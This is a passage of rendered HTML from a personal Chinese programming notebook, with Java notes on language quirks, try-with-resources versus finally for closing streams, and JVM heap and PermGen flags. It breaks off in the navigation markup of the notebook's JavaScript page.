\n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#javakeng\" class=\"md-nav__link\">\n    Java的神奇(keng)\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"Java的神奇(keng)\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    变量名称\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#main\" class=\"md-nav__link\">\n    main函数\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#if\" class=\"md-nav__link\">\n    if\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    %取余的结果\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    数组声明引用、初始化之后才能用\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#switch\" class=\"md-nav__link\">\n    switch\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    ==\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_5\" class=\"md-nav__link\">\n    类型自动提升\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_6\" class=\"md-nav__link\">\n    内部类\n  </a>\n  \n</li>\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#new\" class=\"md-nav__link\">\n    数组的new不创建对象\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_7\" class=\"md-nav__link\">\n    异常处理中的资源释放问题\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jvm\" class=\"md-nav__link\">\n    JVM启动时的内存参数\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n  <h1>Java</h1>\n\n<h2 id=\"javakeng\">Java的神奇(keng)<a class=\"headerlink\" href=\"#javakeng\" title=\"Permanent link\">&para;</a></h2>\n<p>记录一下Java与C的不同点，感受Thinking in Java</p>\n<h3 id=\"_1\">变量名称<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h3>\n<p>$就是个普通字符，可以int $a; //php表示mdzz</p>\n<h3 id=\"main\">main函数<a class=\"headerlink\" href=\"#main\" title=\"Permanent link\">&para;</a></h3>\n<p>必须是public static void main(String[] args)</p>\n<p>如果没有static，编译能通过但没有执行结果？// 待考证，eclipse拒绝运行</p>\n<h3 id=\"if\">if<a class=\"headerlink\" href=\"#if\" title=\"Permanent link\">&para;</a></h3>\n<p>if中的东西必须是boolean类型的值，不能把int放入if中</p>\n<p>if ( a = true )的坑还是存在的，允许赋值作为if条件</p>\n<h3 id=\"_2\">%取余的结果<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p>要考虑到负数的结果啊~（和C一致）</p>\n<h3 id=\"_3\">数组声明引用、初始化之后才能用<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h3>\n<p>不允许int a[5]; 只能int[] a = new int [5];</p>\n<p>如果要初始化 int[] b = new int[]{1,2}; 可以简化为 int c[] = {1,2};</p>\n<p>但不能出现d={1,2}; 不允许大括号这玩意用来赋值，只准用于初始化</p>\n<h3 id=\"switch\">switch<a class=\"headerlink\" href=\"#switch\" title=\"Permanent link\">&para;</a></h3>\n<p>boolean是不行的；String是可以的！</p>\n<p>case是不能重复的（和C一致）</p>\n<h3 id=\"_4\">==<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<p>一定是比较地址，如果&rdquo;haha&rdquo;在代码中出现两次，他们的地址是一样的</p>\n<h3 id=\"_5\">类型自动提升<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>int long float double</p>\n<p>最高出现哪个全部提升为哪个，都没有就全部提升为int</p>\n<p>所以要这么写才能把byte<em>2：byte b = (byte)(a</em>2);</p>\n<h3 id=\"_6\">内部类<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p>加上static后：可以不用实例化外部类就创建对象，不能访问外部类非静态的数据</p>\n<p>不加static：需要先实例化外部类new OuterClass().new InnerClass()</p>\n<h3 id=\"new\">数组的new不创建对象<a class=\"headerlink\" href=\"#new\" title=\"Permanent link\">&para;</a></h3>\n<p>对象数组的new是不会创建对象的</p>\n<p>例如 <code>A[] a=new A[5];</code> 并不会创建5个A类型的对象，只是5个空引用</p>\n<h2 id=\"_7\">异常处理中的资源释放问题<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<p>From: http://stackoverflow.com/questions/8080649/do-i-have-to-close-fileoutputstream-which-is-wrapped-by-printstream</p>\n<p>在Java7中引入了ARM(自动资源管理)，并不需要手动释放资源</p>\n<p>以下这种把变量声明放到try后的括号里面，不对资源手动释放的写法是可以的，没有任何错误</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">public</span><span class=\"w\"> </span><span class=\"nt\">static</span><span class=\"w\"> </span><span class=\"nt\">void</span><span class=\"w\"> </span><span class=\"nt\">main</span><span class=\"o\">(</span><span class=\"nt\">String</span><span class=\"w\"> </span><span class=\"nt\">args</span><span class=\"cp\">[]</span><span class=\"o\">)</span><span class=\"w\"> </span><span class=\"nt\">throws</span><span class=\"w\"> </span><span class=\"nt\">IOException</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"err\">try</span><span class=\"w\"> </span><span class=\"err\">(PrintStream</span><span class=\"w\"> </span><span class=\"err\">ps</span><span class=\"w\"> </span><span class=\"err\">=</span><span class=\"w\"> </span><span class=\"err\">new</span><span class=\"w\"> </span><span class=\"err\">PrintStream(new</span><span class=\"w\"> </span><span class=\"err\">FileOutputStream(&quot;myfile.txt&quot;)))</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">        </span><span class=\"err\">ps.println(&quot;This</span><span class=\"w\"> </span><span class=\"err\">data</span><span class=\"w\"> </span><span class=\"err\">is</span><span class=\"w\"> </span><span class=\"err\">written</span><span class=\"w\"> </span><span class=\"err\">to</span><span class=\"w\"> </span><span class=\"err\">a</span><span class=\"w\"> </span><span class=\"n\">file</span><span class=\"p\">:</span><span class=\"s2\">&quot;);</span>\n<span class=\"s2\">        System.out.println(&quot;</span><span class=\"n\">Write</span><span class=\"w\"> </span><span class=\"n\">successfully</span><span class=\"s2\">&quot;);</span>\n<span class=\"s2\">    } catch (IOException e) {</span>\n<span class=\"s2\">        System.err.println(&quot;</span><span class=\"n\">Error</span><span class=\"w\"> </span><span class=\"n\">in</span><span class=\"w\"> </span><span class=\"n\">writing</span><span class=\"w\"> </span><span class=\"kc\">to</span><span class=\"w\"> </span><span class=\"n\">file</span><span class=\"err\">&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"err\">throw</span><span class=\"w\"> </span><span class=\"err\">e</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<p>普通的try-catch是不够的，需要在finally中释放资源：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">public</span><span class=\"w\"> </span><span class=\"nt\">static</span><span class=\"w\"> </span><span class=\"nt\">void</span><span class=\"w\"> </span><span class=\"nt\">main</span><span class=\"o\">(</span><span class=\"nt\">String</span><span class=\"w\"> </span><span class=\"nt\">args</span><span class=\"cp\">[]</span><span class=\"o\">)</span><span class=\"w\"> </span><span class=\"nt\">throws</span><span class=\"w\"> </span><span class=\"nt\">IOException</span><span class=\"w\"> </span><span class=\"p\">{</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"err\">PrintStream</span><span class=\"w\"> </span><span class=\"err\">ps</span><span class=\"w\"> </span><span class=\"err\">=</span><span class=\"w\"> </span><span class=\"err\">null</span><span class=\"p\">;</span>\n\n<span class=\"w\">    </span><span class=\"err\">try</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">        </span><span class=\"err\">ps</span><span class=\"w\"> </span><span class=\"err\">=</span><span class=\"w\"> </span><span class=\"err\">new</span><span class=\"w\"> </span><span class=\"err\">PrintStream(new</span><span class=\"w\"> </span><span class=\"err\">FileOutputStream(&quot;myfile.txt&quot;))</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">ps.println(&quot;This</span><span class=\"w\"> </span><span class=\"err\">data</span><span class=\"w\"> </span><span class=\"err\">is</span><span class=\"w\"> </span><span class=\"err\">written</span><span class=\"w\"> </span><span class=\"err\">to</span><span class=\"w\"> </span><span class=\"err\">a</span><span class=\"w\"> </span><span class=\"n\">file</span><span class=\"p\">:</span><span class=\"s2\">&quot;);</span>\n<span class=\"s2\">        System.out.println(&quot;</span><span class=\"n\">Write</span><span class=\"w\"> </span><span class=\"n\">successfully</span><span class=\"s2\">&quot;);</span>\n<span class=\"s2\">    } catch (IOException e) {</span>\n<span class=\"s2\">        System.err.println(&quot;</span><span class=\"n\">Error</span><span class=\"w\"> </span><span class=\"n\">in</span><span class=\"w\"> </span><span class=\"n\">writing</span><span class=\"w\"> </span><span class=\"kc\">to</span><span class=\"w\"> </span><span class=\"n\">file</span><span class=\"err\">&quot;</span><span class=\"p\">);</span>\n<span class=\"w\">        </span><span class=\"err\">throw</span><span class=\"w\"> </span><span class=\"err\">e</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span><span class=\"w\"> </span><span class=\"nt\">finally</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"err\">if</span><span class=\"w\"> </span><span class=\"err\">(ps</span><span class=\"w\"> </span><span class=\"err\">!=</span><span class=\"w\"> </span><span class=\"err\">null)</span><span class=\"w\"> </span><span class=\"err\">ps.close()</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"jvm\">JVM启动时的内存参数<a class=\"headerlink\" href=\"#jvm\" title=\"Permanent link\">&para;</a></h2>\n<p>From: http://blog.chinaunix.net/uid-26863299-id-3559878.html</p>\n<p>常见参数种类：配置堆区的（-Xms 、-Xmx、-XX:newSize、-XX:MaxnewSize、-Xmn）、配置非堆区（-XX:PermSize、-XX:MaxPermSize）。</p>\n<p>堆区的：</p>\n<p>1、-Xms ：表示java虚拟机堆区内存初始内存分配的大小</p>\n<p>2、-Xmx： 表示java虚拟机堆区内存可被分配的最大上限，通常会将 -Xms 与 -Xmx两个参数的配置相同的值，其目的是为了能够在java垃圾回收机制清理完堆区后不需要重新分隔计算堆区的大小而浪费资源。</p>\n<p>3、-XX:newSize：表示新生代初始内存的大小，应该小于 -Xms的值；</p>\n<p>4、-XX:MaxnewSize：表示新生代可被分配的内存的最大上限；当然这个值应该小于 -Xmx的值；</p>\n<p>5、-Xmn：对 -XX:newSize、-XX:MaxnewSize两个参数的同时配置</p>\n<p>非堆区的：</p>\n<p>1、-XX:PermSize：表示非堆区初始内存分配大小，名字来源于permanent size</p>\n<p>2、-XX:MaxPermSize：表示对非堆区分配的内存的最大上限。</p>\n<p>最大堆内存与最大非堆内存的和不能够超出操作系统的可用内存。</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/JavaScript/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../S2-045/\">\n      \n      \n        <link rel=\"next\" href=\"../PHP/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>JavaScript - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#localstorage\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              JavaScript\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          JavaScript\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        JavaScript\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#localstorage\" class=\"md-nav__link\">\n    使用localStorage\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#phantomjs\" class=\"md-nav__link\">\n    使用phantomjs爬取网页\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#jqueryshow\" class=\"md-nav__link\">\n    jQuery劫持show事件\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#get\" class=\"md-nav__link\">\n    读取GET参数\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#github-issue\" class=\"md-nav__link\">\n    使用 Github Issue 作为博客评论区\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#historyreplacestate\" 